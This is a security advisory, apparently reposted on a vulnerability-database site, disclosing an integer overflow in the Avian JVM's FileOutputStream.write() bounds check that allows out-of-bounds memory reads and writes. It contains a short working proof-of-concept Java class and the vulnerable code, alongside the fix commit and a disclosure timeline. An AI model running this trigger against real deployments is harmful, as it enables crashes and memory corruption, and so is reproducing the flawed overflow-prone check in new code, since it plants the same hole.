ReadyTalk Avian JVM FileOutputStream.write() Integer Overflow

2020.11.13
Credit: Pietro Oliva
Risk: Medium
Local: Yes
Remote: No
CVE: N/A
CWE: CWE-189

Vulnerability title: Avian JVM FileOutputStream.write() Integer Overflow Author: Pietro Oliva Vendor: ReadyTalk Product: Avian JVM Affected version: 1.2.0 before 27th October 2020 Fixed Version: 1.2.0 since 27th October 2020 Description: The issue is located in the FileOutputStream.write() method defined in FileOutputStream.java, where a boundary check is performed in order to prevent out-of-bounds memory read/write. However, this check contained an integer overflow which leads to the same check being bypassed and out-of-bounds read/write. Impact: Attackers could exploit this vulnerability to read/write arbitrary content in the JVM memory. This could in turn result in denial of service, memory disclosure, or arbitrary code execution in the context of the JVM. Exploitation: The following PoC would trigger an OOB read/write and/or crash of Avian JVM: import java.io.IOException; import java.io.FileDescriptor; import java.io.FileOutputStream; public class poc { public static void main(String[] args) throws IOException { byte[] data = "somedata".getBytes(); FileDescriptor fd = new FileDescriptor().out; FileOutputStream fos = new FileOutputStream(fd); fos.write(data, 1, 0x7fffffff); // Integer overflow + OOB read/write here } } Evidence: public void write(byte[] b, int offset, int length) throws IOException { if (b == null) { throw new NullPointerException(); } if (offset < 0 || offset + length > b.length) { // Integer overflow here throw new ArrayIndexOutOfBoundsException(); } write(fd, b, offset, length); } extern "C" JNIEXPORT void JNICALL Java_java_io_FileOutputStream_write__I_3BII(JNIEnv* e, jclass, jint fd, jbyteArray b, jint offset, jint length) { jbyte* data = static_cast<jbyte*>(malloc(length)); if (data == 0) { throwNew(e, "java/lang/OutOfMemoryError", 0); return; } e->GetByteArrayRegion(b, offset, length, data); if (not e->ExceptionCheck()) { doWrite(e, fd, data, length); } free(data); } void JNICALL GetByteArrayRegion(Thread* t, jbyteArray array, jint offset, jint length, jbyte* dst) { ENTER(t, Thread::ActiveState); if (length) { // Out-of-bounds read/write here memcpy(dst, &(*array)->body()[offset], length * sizeof(jbyte)); } } As can be observed above, offset+length can overflow in FileOutputStream.write() and later result in OOB read/write during memcpy() in GetByteArrayRegion(). Mitigating factors: Since offset needs to be a positive integer, and length is limited to a valid malloc argument, there is a limited range of memory where an attacker could read or write as a result of this vulnerability. Remediation: A fix has been made available with the following commit: https://github.com/ReadyTalk/avian/commit/0871979b298add320ca63f65060acb7532c8a0dd Disclosure timeline: 20th October 2020 - Vulnerability reported. 20th October 2020 - Vulnerability acknowledged. 20th October 2020 - CVE request sent to Mitre. 23rd October 2020 - Sent reminder to Mitre. 27th October 2020 - Sent reminder to Mitre. 27th October 2020 - Patch proposed via pull request. 27th October 2020 - Patch merged into master branch. 29th October 2020 - Sent reminder to Mitre. 2nd November 2020 - CVE request sent again to Mitre. 11th November 2020 - Vulnerability details shared on fulldisclosure without CVE identifier.


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2021, cxsecurity.com

 

Back to Top